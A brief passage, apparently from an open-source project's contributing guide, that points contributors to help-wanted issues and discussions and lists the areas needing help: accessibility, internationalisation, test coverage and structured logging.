Help wanted issues — bigger features where input is welcome
Discussions — feature ideas, RFCs, and community chat

Areas where help is most needed: accessibility, i18n coverage, test coverage, and structured logging.